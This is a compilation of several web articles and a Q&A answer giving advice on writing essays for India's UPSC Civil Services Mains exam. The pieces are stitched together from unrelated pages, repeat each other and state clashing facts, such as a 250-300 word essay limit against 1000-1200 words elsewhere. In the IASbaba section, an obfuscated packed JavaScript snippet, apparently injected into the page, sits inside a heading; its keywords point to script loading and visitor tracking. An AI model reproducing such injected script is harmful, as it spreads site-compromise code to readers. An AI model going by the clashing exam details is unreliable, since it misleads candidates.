To revise or read your whole piece in the entirety is as important as writing it. Keep a check on grammatical mistakes, and some missing points, or make sure your answer looks clean and tidy.

These things can be done only when you revise your answer. Add/omit some words as per your demands but should not be overdone.

You Might Also Like: How To Prepare For UPSC Prelims And Mains Together Like An Absolute Pro!

Just like the UPSC CSE your essay writing also needs planning. There are broadly three steps to writing a structured essay defining what the essay is going to talk about i.e. the central idea, brainstorming, and making a blueprint of it.

Mains essay writing demands a well-structured format from your side as it is one of the most prestigious and tough examinations in India .

“Innovation is the key determinant of economic growth and social welfare” . 

This is basically a thesis statement of an essay question of UPSC CSE Mains 2016. In this statement, the central idea is ‘innovation’.

Here, the aspirant is supposed to bring out a dimension of innovation that directly or indirectly affects economic growth and social welfare. Aspirants are supposed to write that statement of facts only which supports the central idea or those statements that supplement the overall idea.

Brainstorming is one of the most powerful tools in the examination phase. Brainstorming leads to developing new ideas quickly or listing those ideas that align with your knowledge of the given topic.

There is no specific rule or technique for brainstorming, instead, you can jot down points on a paper that are necessary for your Mains essay writing.

Making a blueprint or outlining your essay means deciding what to write in the introduction, body, and conclusion parts. What ideas to represent in which section, which quotes are relevant to the given thesis, etc.

Before the actual writing, it is very important to see it in its entirety. It helps you to see the big picture. The blueprint also helps you in finding the right conclusion to wrap up your essay.

Check Out Our Blog On: Why is Self Assessment for UPSC CSE Necessary?

  • Social element
  • Political element
  • Economical element

These three points should be considered while writing an essay. These three elements give a proper shape to an essay or any piece of the thesis.

Writing a formal one always demands dimensions and these three dimensions will always support your arguments concerning various areas of society. It enhances the effectiveness and creates a proper report-like structure along with your narratives to form well-balanced and good writing in your Mains essay writing.

  • Constitutional
  • Technological

These three additional dimensions also enhance the quality of your writing. You can use various technological perspectives, constitutional facts, remedies, laws, and legal terms to support the thesis in your Mains essay writing.

Your opinions matter a lot. UPSC CSE Mains essay writing demands a subjective approach to writing. It is very important to express your personal opinion on the issue or the given statement.

However, it should be kept in mind that your personal opinions should not be too biased in nature. Neutral and well-balanced writing is always appreciated by the UPSC.

Additional Reading: 3 Ways to Build a Revision Strategy for UPSC – A Must

You may seek help from books that will assist you with Essay Writing for UPSC Civil Services Exam. 

  • Essays for Civil Services and Other Competitive Examinations by Pulkit Khare.
  • Essay Paper For Civil Services Main Examination by Pavneet Singh and Sonali Bansal
  • Selected Contemporary Essays by Saumitra Mohan (MHE)
  • My Experiment With Truth by M.K. Gandhi
  • J.L. Nehru Getting India Back on Track by Ratan Tata

In addition to the above-mebtioned books, you make take help of English newspapers such as The Hindu and the newspaper editorial section to expand your vocabulary.

Staying updated with the current affairs is also necessary. Take a look at the Best Current Affairs Magazine For UPSC to keep yourself informed about the latest events happening around the world.

Practice is the key to success. Focus on reading, the art of argumentation, and correct sequence to achieve good scores in essays. Remember there is no such thing as a perfect essay, just arrange the ideas in an orderly fashion and keep writing.

Essays in the UPSC Mains exam must be written with the help of facts and figures along with data, like statistics from a government report or any data from a major research paper that supports a writer’s perspective on a given topic.

Conversational form, the use of first-person references, and getting emotional with the audience are not allowed in a formal structure.

The points made by the candidate need to be neutral, supported by logical facts and not someone’s biased personal opinions. A certain degree of straightforwardness should be there while writing a formal exam, especially for an exam like UPSC CSE.

The tips mentioned above revolve around how to write an essay in UPSC Mains. These will help improve your writing skills and build a better essay structure.

Also Read: Powerful Tips on How to Stay Motivated for UPSC Preparation

The format of an essay in UPSC Mains is as follows: Introduction, Body, and Conclusion. The introduction should state the main idea of the essay and the body should elaborate on it with examples and arguments. The conclusion should summarize the key points made in the essay. The word limit for an essay in UPSC Mains is usually around 250-300 words.

Choose a topic that you are well-versed in and have a strong opinion on. It is advisable to choose a topic that is relevant to current events and has social and political significance. This will help you present a well-researched and thought-out argument in your essay.

The introduction of an essay in UPSC Mains should be concise and clear. Start with a hook that grabs the reader’s attention, state the main idea of the essay, and provide a thesis statement. The thesis statement should provide a clear direction for the rest of the essay.

The body of an essay in UPSC Mains should elaborate on the main idea presented in the introduction. Divide the body into paragraphs and make sure each paragraph has a clear focus and supports the thesis statement. Use examples, facts, and statistics to make your arguments more persuasive.

The conclusion of an essay in UPSC Mains should summarize the key points made in the essay and restate the thesis statement. End with a final thought or a call to action that provides closure to the essay. Make sure the conclusion is not repetitive and adds value to the essay.

Some common mistakes to avoid when writing an essay in UPSC Mains include: poor structure, unclear arguments, repetitive information, grammatical errors, and using informal language. Make sure to proofread your essay before submitting to avoid these mistakes.

How to improve one’s essay writing skills for UPSC Mains?

To improve your essay writing skills for UPSC Mains, you can practice writing essays on a regular basis, read newspapers and articles to stay updated on current events, improve your vocabulary, and seek feedback from peers and teachers.

Additionally, reading sample essays and learning from the writing style of experienced writers can also help improve your skills.

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How to Polishing Your UPSC Essay-Writing Skills

  • How to Polishing Your UPSC…

An young girl is taking notes form the internet with a pen and a paper in her hands.

One of the main challenges of the UPSC Mains is the essay paper, which is crucial in garnering maximum marks out of the 250 marks allotted for this paper. The paper carries not one but two essays on two different topics, which is, in fact, the biggest challenge of all.

If you are unsure about your Mains essay and want to know more about how to tackle them, this is the blog for you. So, let’s get into the details.

The UPSC Essays & Their Highlights

The UPSC Essay paper is one of the nine papers of the UPSC Mains. Its highlights are:

  • Number of essays- 2.
  • Marks are awarded for each essay-125.
  • Total marks awarded for essay paper-250.
  • Word count for each essay- 1000 to 1200 words.
  • Paper duration-3 hours.

Experienced aspirants often rely on their General Studies preparation to help them write the essay, while freshers often underestimate its importance. Both mistakes are equally grave.

The essay paper does not merely test your factual knowledge. It tests your writing creativity and ability to think, rationalise, and generate new ideas. The Union Public Service Commission, which conducts the exam, states the following:

“Candidates are expected to keep close to the subject of the essay, arrange their ideas in an orderly fashion, and write concisely. Credit will be given for effective and exact expression.”

In the UPSC essay, examiners consider multiple aspects of awarding the deserving marks for each essay, such as:

  • Mastery of language
  • Vocabulary usage
  • Clarity in writing without grammatical errors
  • Use of expressions
  • Language coherence

So, how, where, and what should you do to polish your essay writing skills to deal with the UPSC essay? Here are the details.

5 Steps to Writing A Fantastic UPSC Essay

There is a definitive strategy to deal with UPSC essays. Here’s how it goes.

1. Choose the right topic

The question paper has four options, and you can choose one topic to write your essay. This is the most crucial part because what you choose to write about depends on your knowledge of the chosen topic. Hence, make sure you pick the topic you are comfortable writing about.

2. Organise your thoughts

Now that you’ve picked your topic do not be hasty about writing it immediately. Give yourself some time to:

  • Collect your points about the topic.
  • Use a pencil to write the points you want to add.
  • Organise the points in a sequence.

Once you have all the points in a good sequence, you can commence writing the essay. A good essay should follow the “Introduction-Body-Conclusion” format, where the “Body” talks about the main subject, issue, or problem per your topic.

3. Develop the main content from the topic

Developing solid content from the chosen topic is like spinning an entire web from a single thread. You can choose the following options to develop your narrative:

  • Temporal (relating to time)- Present, past or future
  • Sectoral ( relating to a distinct section)- You may choose from any arena, such as media, sports, science, technology, religion, politics, business, and administration.
  • Realm: Family, individual, society, community, national, or global.
  • Problem and solution: Concept, benefits, problems and their solutions.
  • Standard: Legal, environmental, scientific, historical, political, international, economic, social, and defense-related.

4. Corroborate your arguments

The essay’s body is where you should substantiate your arguments for your topic. Each paragraph in the main essay should discuss the argument and have a reason to back the same. This is where you can make use of:

  • Expert opinions
  • Constitutional provisions
  • Relevant government schemes and policies

5. Conclude your essay

Your conclusion should be as strong as your introduction. Always end your essay on a futuristic and optimistic note. Summarise your essay in a concise paragraph, and then write your vision for the future. Use appropriate quotes, phrases, etc., to give your essay a thought-provoking end.

Preparation Techniques to Refine Your UPSC Essay

The UPSC essay is unlike any of the essays you may have attempted in your school and college days. It needs to be well-structured, appropriately worded and presented to make it appealing for the examiner to read and understand. All your information about the chosen topic should be presented and delivered in a proper format.

Generally, the content of your essay will come from your General Studies (GS) preparation. However, you may also rely on the following sources to gain more information and polish your essay-writing skills;

1. Non-fiction

Non-fiction books like novels will help improve your vocabulary, sentence construction, figures of speech, argumentative skills, etc.

2. Stories, anecdotes, and quotes

Quotes and anecdotes from real-life experiences will help you earn brownie points to boost your overall score.

3. References: Statistical knowledge and references to government schemes will help substantiate your argument.

Many aspirants think extensive reading alone will help them write a good essay. Wrong. A good essay requires good writing skills that should be polished from the beginning of your preparation process. Here are some effective tips to use while practicing your essay writing:

  • Rely on multiple sources to read and expand your knowledge base.
  • Use simple sentences to deliver your message.
  • Use powerful vocabulary that will add value to your essay rather than using complex words.
  • Use phrases to give your essay a definitive edge.

Building your vocabulary is a lifetime process. You may come across unique, never-heard-before words in books or newspapers. If you do not recognise it, note it in a book, find its meaning, understand how the word is used, and try to implement the same in your essay.

Tips to Write a Well-Structured UPSC Essay

As we mentioned at the beginning of this blog, a well-structured essay makes for a great essay. To write a well-structured essay, you must:

  • Give a good introduction and conclusion, about 5-7% of the entire essay.
  • Give a good body, which constitutes about 86-90% of the essay.
  • Choose a topic that you are comfortable with.
  • Stick to the core subject of the chosen topic.
  • Keep your essay expansive and multi-dimensional.
  • Use real-life incidents, anecdotes, etc., to give an appealing introduction.
  • Use relevant but accurate quotes to reiterate your arguments.
  • Avoid extreme or highly unpopular opinions to finalize your argument.
  • Learn to use time judiciously for each essay.
  • Present both negative and positive aspects and end with a balanced note.
  • Transition smoothly from one paragraph to the next using connecting verbs and phrases.
  • Always keep in mind the ABC of essay writing, where A implies Accuracy, B implies Brevity and C implies Creativity. These 3 will help you score better in the essay paper.

The Takeaway

As far as the UPSC essay is concerned, it is not the dearth of content that’s challenging but the lack of writing and organizational skills that keeps you from delivering a good essay. However, there’s nothing that cannot be achieved with regular practice, and evaluation of mistakes. And the UPSC essay is no exception.

Reach out to us at Chinmaya Academy of Civil Services, Chennai ‘s most reputed UPSC exam coaching centre , to make your Civil Service dreams come true.

Author:  Chinmaya IAS Team

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how to improve essay writing skills for upsc


How to write a perfect and balanced essay.

  • Categories Mains
  • Published 17th Aug, 2021

“It is my ambition to say in ten sentences what others say in a whole book.” -- Friedrich Neitzsche

Essay writing is among those areas in UPSC IAS Exam that can be your savior and improve your marks significantly if worked efficiently. However lack of practice and rudimentary approach may also reduce your marks and jeopardize your chances of selection in Civil services exam . A well-developed approach and rigorous practice can significantly enhance your score in essay paper in UPSC mains Exam . But before delving into the techniques to write a perfect essay it is very important to understand what is an essay and what are its different organs?

What is an essay?

  • An Essay Writing is a focused, descriptive and analytical write up on any particular topic. But this is different in format and presentation from any other kind of write up on the same topic.
  • An essay is a tight write up which has a certain theme at its core and the write up is marked by its simplicity, lucidity, flow and orderliness.
  • It should generally avoid terse and unwieldy expressions, unnecessary exposition and excessive facts, especially numbers.
  • An essay is a write up that evolves from childhood to youth and thereafter to maturity.
  • An essay should generally reflect the perceptions, understanding, and stance/take of the writer, which may be supported by facts, quotes and findings of similar kinds.

Let's have a look on Vikram Grewal's Copy

how to improve essay writing skills for upsc

For full copy click here

What an essay writing should not be....

  • It should not be a mere compilation of information or facts.
  • It should not be a long note.
  • It should not be a brief note.
  • It should not be a theoretical exposition.
  • It should not be a conglomeration of great ideas by great people.

What constitutes a good essay?

A good essay should have three distinct parts-

  • Introduction
  • Description

A good essay should be close to its subject or theme throughout the write up.

Essay Writing Strategy by Vikram Grewal (AIR 51, CSE 2018), A must watch session for more clarity.

A good essay should reflect...

  • Understanding of the writer
  • Thoroughness of the writer
  • Analytical capacity of the writer
  • Research and analytical capability of the writer
  • Reading habits of the writer

For Example:

Vikram Grewal's Copy, all the following things are considered by him:

how to improve essay writing skills for upsc

Click Here for Full Copy

Essay needs a higher level of communication abilities viz..

  • Articulation
  • Effective expression
  • Logic, flow and rhythm
  • Right grammar

Brief for practicing essay writing – pre exam hall approach.

How to write a good Essay can be viewed sequentially, as if going through ten sequential steps in an essay writing process.

  • Research : Begin the essay writing process by researching your topic, making yourself an expert.Assuming you've been given a topic, or have narrowed it sufficiently down, your first task is to research this topic. You will not be able to write intelligently about a topic you know nothing about. To discover worthwhile insights, you'll have to do some patient reading and information gathering. Though IAS aspirants are hard pressed of time but don’t forget it is of 250 marks and highly neglected. It can be done through integration of your daily newspaper reading and through preparation of GS also. But you need some different strategy to do so.
  • Analysis : Now that you have a good knowledge base, start analyzing the arguments of the essays/articles you're reading. Clearly define the claims, write out the reasons, the evidence, etc. Look for weaknesses of logic, and also strengths. Learning how to write an essay begins by learning how to analyze essays written by others.

In case of analysis Vikram Grewal shows it perfectly: Here is a look

how to improve essay writing skills for upsc

For Full Copy Click Here

3 .Brainstorming : Your essay will require insight of your own. Ask yourself a dozen questions and answer them. Meditate with a pen in your hand. Think and think until you come up with original insights to write about.

  • Thesis: Pick your best idea and pin it down in a clear assertion that you can write your entire essay around. Your thesis is your main point, summed up in a concise sentence that lets the reader know where you're going, and why. It's practically impossible to write a good essay without a clear thesis.
  • Outline: Sketch out your essay before straight away writing it out. Use one-line sentences to describe paragraphs, and bullet points to describe what each paragraph will contain. Play with the essay's order. Map out the structure of your argument, and make sure each paragraph is unified.
  • Introduction: Now sit down and write the essay. The introduction should grab the reader's attention, set up the issue, and lead in to your thesis. Your intro is merely a buildup of the issue, a stage of bringing your reader into the essay's argument.(Note: The title and first paragraph are probably the most important elements in your essay. This is an essay-writing point that doesn't always sink in within the context of the classroom. In the first paragraph you either hook the reader's interest or lose it.)
  • Paragraphs: Each individual paragraph should be focused on a single idea that supports your thesis. Begin paragraphs with topic sentences, support assertions with evidence, and expound your ideas in the clearest, most sensible way you can. Speak to your reader as if he or she were sitting in front of you. In other words, instead of writing the essay, try talking the essay.
  • Conclusion: Gracefully exit your essay by making a quick wrap-up sentence, and then end on some memorable thought, perhaps a quotation, or an interesting twist of logic, or some call to action. Is there something you want the reader to walk away and do? Let him or her know exactly that.
  • Style: Format your essay according to the correct guidelines for citation. All borrowed ideas and quotations should be correctly cited in the body of your text, followed up with a Works Cited (references) page listing the details of your sources.
  • Language: You're not done writing your essay until you've polished your language by correcting the grammar, making sentences flow, incorporating rhythm, emphasis, adjusting the formality, giving it a level-headed tone, and making other intuitive edits. Proof read until it reads just how you want it to sound. Writing an essay can be tedious, but you don't want to bungle the hours of conceptual work you've put into writing your essay by leaving a few slippy misspellings and poorly worded phrases.

Steps to be followed during examination:

We must keep in mind that an essay writting in the examination hall is developed on the spot within a given time period, is something different from an essay written leisurely and with mature deliberation for a publication or for a prize competition.

A Candidate writing an essay for Civil Service Examination should keep in mind that he has to satisfy the examiner with regard to 3 things:

  • He has good ideas on given subject / chosen field.
  • He can arrange his ideas systematically.
  • He can express, and analyze his opinion correctly using good language.

Required Steps to create a rough sketch before actual writing :

  • Selection of suitable topic
  • Make an outline of your ideas
  • Write introduction points
  • Write main points of the body
  • Brief sketch about view, history, facts, illustrations, examples etc
  • Idea about critical discussions, pro and opposite views
  • Drawing a conclusion that clearly expresses your opinion and always end with a futuristic note

Selection of topic is the key for scoring in essay writing . Around 15 to 20 minutes can be spent on choosing best topic. we also needs to be sure about the flow of thought, rich facts and figures, history, analytical expression and all to be collectively rated high in the selected topic. It impacts your marks. Out of six topics consider each one independently in-depth your knowledge and presentation skills not in bird-eye-view manner.

Patience and perseverance must be maintained while selecting a topic and make it sure about excellence to present cogently.

Next step is outlining the selected topic by putting ideas in a separate page, in organized form by writing sub topics and important points to be covered in the essay. For this one can make use flow chart model or line chart or tabulation. Grouping of thoughts must in a way to categories the sub headings while writing the detailed essay. We can use 15 to 20 minutes for this task.

Then start with the introduction which can be a dialogue, quotation or anecdotes produces complete idea to the reader about the essay. A dialogue could be simply the pertinent fact that explicitly illustrates the point you are planning to make. An anecdote is stories that illustrate the point. Be sure your anecdote is short, precise and relevant to the topic.

Three  problems that candidates face while writing an essay. They are:  

  • Coherent arrangement
  • Expression Ideas

Essay Copy: Vikram Grewal(AIR 51, CSE 2018)

how to improve essay writing skills for upsc

About the subject is nothing but knowledge that needs to be looked in different perspective, whether social, economical, political, religious, cultural, literary, national, and environmental. Candidate should think on different questions

  • What are definition / scope / history of the topic?
  • What can be said on particular subject from various perspectives?
  • What are positives / negatives?
  • Answers for different questions/dimensions
  • your thought for critical appraisal

Arrangement :

Arrangement of an essay means the contents with a definite structure to be framed. The structure must be exposed indirectly through the flow of writing with interlinking of sub topics and paragraphs explaining the scope meaning, description and discussion.

Illustration and quotations known can be presented lively aptly to increase the richness of the content. It is like the flavor added to the dishes to attract the reader to be perfectly relevant to the topic/ argument.  If the Quotations exceed unnecessarily, it will disturb the quality of presentation. Interlinking of thoughts, comparison and contrasting viewpoints can be expressed only with the special reference to the application of thoughts.

Opinions and arguments with strong self explanatory sentences will reflect the candidates’ solid and clear understanding of the subjects.

Now you need to give the powerful and logical conclusion which is the consequence of everything discussed earlier. Conclusion brings the reader closure or summing up of points and also gives final perspective. It should not be rhetoric outburst. It must be balanced and free from prejudice. Mind it, give proper space to the conclusion. Don’t sump in haste.

Do s and Don’ts for that ‘killer’ 3 Hrs:

  • Read the title, understand the meaning and scope.
  • Think and comprehensive planning before start.
  • Effective, brief and strong words consist of good thoughts makes your essay best.
  • Avoid vague generalization, slang’s and colloquialism
  • Don’t try to present whatever you know on the subject.
  • In controversial topic discuss pros and cons dispassionately and give effective conclusion.
  • Length of essay is not fixed. But don’t be exhaustive. This time you may to write multiple essay
  • Never forget to read and revise the essay written before submission to examiner.

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UPSC ESSAY STRATEGY: How to Write an Essay!

  • October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

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Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

  • Preamble to the Constitution
  • FRs and DPSPs
  • Millennium Development Goals (Now Sustainable Development Goals)
  • Quotations by eminent personalities
  • Important Supreme Court judgements
  • Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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How can I improve my essay writing skills for UPSC exams?

Asked by Neha 23/09/2023 Last Modified   08/11/2023

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how to improve essay writing skills for upsc

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how to improve essay writing skills for upsc

Ruby Choudhary

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how to improve essay writing skills for upsc

Improving Essay Writing Skills for UPSC Exams

Essay writing is a crucial component of the UPSC Civil Services Mains examination. To excel in this section, candidates need to focus on honing their essay writing skills. Here's a structured approach to help you improve your essay writing skills:

I. Understanding the UPSC Essay Paper:

Know the Format: The UPSC essay paper consists of two essays that need to be written in 3 hours. Each essay carries 125 marks, making it a high-scoring section.

Choice of Topics: There are several essay topics, and you need to choose one from each section. The topics can be from various domains, including social, economic, political, philosophical, and environmental issues.

II. Structuring Your Essays:

Introduction: Start with a strong and concise introduction that outlines the scope of your essay.

Body: This section should present your arguments, analysis, and examples. Organize your ideas logically and coherently.

Conclusion: Summarize your main points and present a balanced and thoughtful conclusion.

III. Building Skills for Effective Essays:

Practice Writing: Regular practice is essential. Write essays on a variety of topics to develop your skills.

Read and Analyze: Reading extensively, including newspapers, magazines, and opinion pieces, will expose you to different writing styles and viewpoints.

Understand the Demand of the Topic: Carefully analyze the topic to understand its demand. Is it asking for an analysis, criticism, or a balanced view?

Use Quotes and Real-Life Examples: Incorporate quotes, data, and real-life examples to support your arguments and make your essay more credible.

Clarity of Expression: Focus on clarity and coherence in your writing. Avoid jargon and use a simple and concise style.

Develop a Personal Style: Develop your unique writing style while adhering to formal essay conventions.

Balance and Objectivity: UPSC values balanced and objective viewpoints. Avoid a one-sided or overly critical tone.

IV. Seek Guidance:

Coaching Institutes: Enrolling in a reputable UPSC coaching institute, like those available on UrbanPro.com, can provide expert guidance and structured coaching.

Mentoring: Consider finding a mentor who can provide personal feedback and guidance.

Peer Review: Exchange essays with peers for feedback and constructive criticism.

V. Time Management:

Practice Timed Essays: Practice writing essays within a time limit to simulate exam conditions.

Allocate Time Strategically: Allocate time for planning, writing, and reviewing your essay during the exam.

VI. Previous Year's Papers:

Review Past Essays: Study previous years' essay papers to understand the types of topics and questions asked.

Practice Mock Essays: Write essays on these topics and compare your responses with model answers.

VII. Revision and Improvement:

Learn from Feedback: Analyze feedback from mentors, peers, or mock tests and work on areas of improvement.

Revision: Revise your essays to identify and correct mistakes, enhance clarity, and strengthen arguments.

VIII. Stay Informed:

  • Current Affairs: Stay updated on current affairs and contemporary issues as they often form the basis of essay topics.

Improving your essay writing skills for UPSC exams is a gradual process. With consistent practice, guidance, and a structured approach, you can enhance your ability to write effective essays and perform well in this critical section of the exam. Consider seeking the support of experienced UPSC tutors and coaching institutes available on UrbanPro.com to further refine your essay writing skills.

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how to improve essay writing skills for upsc

How to improve your writing skills for UPSC Mains?

how to improve essay writing skills for upsc

Improving writing skills for the UPSC Mains examination is essential for effectively conveying one’s thoughts and analysis. First and foremost, it’s crucial to read extensively, encompassing a variety of subjects, to broaden one’s understanding and enhance vocabulary. Additionally, practicing answer writing is indispensable. Regularly attempting previous years’ questions, timed mock tests, and self-assessment of answers can help identify strengths and weaknesses. Developing a structured approach to essay and answer writing, with a clear introduction, well-organized body, and a concise conclusion, is vital. Furthermore, seeking feedback from mentors, peers, or professionals can provide valuable insights for improvement. Keeping up with current affairs and integrating relevant examples into answers adds depth and relevance to the content. Ultimately, maintaining consistency, discipline, and dedication to honing these skills is the key to success in the UPSC Mains examination.

Table of Contents

Increase your reading count

Increasing your reading count is a valuable habit that can enrich your life in numerous ways. Whether you’re an avid reader or someone looking to read more, it’s a practice that not only broadens your knowledge but also enhances your cognitive abilities, vocabulary, and critical thinking skills. Reading provides access to diverse perspectives, cultures, and experiences, making you more empathetic and open-minded. Furthermore, it’s an excellent way to reduce stress and improve your mental well-being, as it allows you to escape into different worlds and take a break from the demands of daily life. To boost your reading count, consider setting aside dedicated time for reading each day, exploring a variety of genres and topics, and joining book clubs or discussion groups to stay motivated and engaged with your reading goals.

Read More to Write Better

The act of reading serves as an invaluable foundation for enhancing one’s writing skills. When we immerse ourselves in a diverse range of written material, whether it be literature, non-fiction, or even online articles, we absorb a wealth of knowledge about language, style, and communication. By reading more, we expose ourselves to various writing techniques, new vocabulary, and different narrative structures. This not only broadens our perspectives but also sharpens our ability to convey thoughts and ideas effectively. Reading is akin to a continuous learning process, providing inspiration, and enabling us to recognize both exceptional writing and common pitfalls. So, to write better, one must read more and explore the vast world of literature and written expression.

Avoid generalizations

